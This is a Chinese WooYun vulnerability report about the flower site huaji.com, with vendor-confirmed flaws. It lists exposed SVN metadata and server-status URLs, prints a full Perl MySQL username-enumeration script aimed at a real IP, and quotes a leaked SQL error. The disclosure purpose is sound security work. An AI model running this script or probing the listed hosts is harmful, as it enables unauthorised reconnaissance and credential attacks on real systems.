当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0118326

漏洞标题：花集网漏洞问题打包

相关厂商：浙江花集网科技有限公司

漏洞作者： M4sk

提交时间：2015-06-05 12:26

修复时间：2015-07-23 11:12

公开时间：2015-07-23 11:12

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-05： 细节已通知厂商并且等待厂商处理中
2015-06-08： 厂商已经确认，细节仅向厂商公开
2015-06-18： 细节向核心白帽子及相关领域专家公开
2015-06-28： 细节向普通白帽子公开
2015-07-08： 细节向实习白帽子公开
2015-07-23： 细节向公众公开

简要描述：

RT

详细说明：

SVN信息泄露：
http://115.236.77.174:81/.svn/entries

2.png


http://baike.huaji.com/.svn/entries

1.png


http://shop.huaji.com/.svn/entries
还有好多
http://bbs.huaji.com/images/wind/file/.svn/entries
http://bbs.huaji.com/.svn/entries
http://bbs.huaji.com/images/face/.svn/entries
http://bbs.huaji.com/images/post/smile/wangwang/.svn/entries
http://bbs.huaji.com/images/post/smile/default/.svn/entries
http://bbs.huaji.com/images/wind/level/.svn/entries
http://bbs.huaji.com/images/wind/thread/.svn/entries
http://bbs.huaji.com/images/.svn/entries
http://bbs.huaji.com/images/wind/index/.svn/entries
-------------------------------------------------------------------------------------
server-status信息泄露：
http://a.huaji.com/server-status
http://help.huaji.com/server-status

1.png


MySQL User Enumeration：枚举mysql用户名
http://115.236.77.174

1.png


脚本如下：

use IO::Socket;
use Parallel::ForkManager;
$|=1;
 
if ($#ARGV != 1) {
print "Usage: mysqlenumerate.pl <target> <wordlist>\n";
exit;
}
 
$target = $ARGV[0];
$wordlist = $ARGV[1];
$numforks = 50;
$pm = new Parallel::ForkManager($numforks);
 
open FILE,"<$wordlist";
unlink '/tmp/cracked';
 
@users = ();
$k=0;
while(<FILE>) {
        chomp;
        $_ =~ s/\r//g;
        $users[$k++] = $_;
}
close FILE;
$k2 = 0;
for(;;) {
for ($k=0;$k<$numforks;$k++) {
$k2++;
if (($k2 > $#users) or (-e '/tmp/cracked')) {
exit;
}
my $pid = $pm->start and next;
$user = $users[$k2];
goto further;
again:
print "Connect Error\n";
further:
my $sock = IO::Socket::INET->new(PeerAddr => $target,
                              PeerPort => '3306',
                              Proto    => 'tcp') || goto again;
recv($sock, $buff, 1024, 0);
 
$buf = "\x00\x00\x01\x8d\x00\x00\x00\x00$user\x00\x50".
                        "\x4e\x5f\x51\x55\x45\x4d\x45\x00";
$buf = chr(length($buf)-3). $buf;
print $sock $buf;
$res = recv($sock, $buff, 1024, 0);
close($sock);
if ($k2 % 100 == 0) {
print $buff."\n";
}
if (substr($buff, 7, 6) eq "Access") {$pm->finish;next;}
unless (-e '/tmp/cracked') {
open FILE, ">/tmp/cracked";
close FILE;
print "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
open FILE, ">jackpot";
print FILE "\n[*] HIT! -- USER EXISTS: $user\@$target\n";
exit;
}
}
$pm->wait_all_children;
}


SQL报错：
http://www.huaji.com/member/home
A Database Error Occurred
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '',130110326828) GROUP BY `goods`.`goods_id`' at line 4
SELECT `goods`.`goods_id`, `goods`.`goods_no`, `goods`.`store_id`, `goods`.`goods_name`, `goods`.`price`, `goods`.`default_image`, `goods`.`itype`, `seller`.`floristname` FROM (`goods`) JOIN `seller` ON `seller`.`uniqueid` = `goods`.`store_id` WHERE `goods`.`goods_no` in (130110326828',130110326828) GROUP BY `goods`.`goods_id`
Filename: /home/huaji/www/html/models/seller/mproduct.php
Line Number: 76

漏洞证明：

综上 问题太多了 还有没提交的建议自检

修复方案：

你们会的

版权声明：转载请注明来源 M4sk@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2015-06-08 11:11

厂商回复：

感谢提交

最新状态：

暂无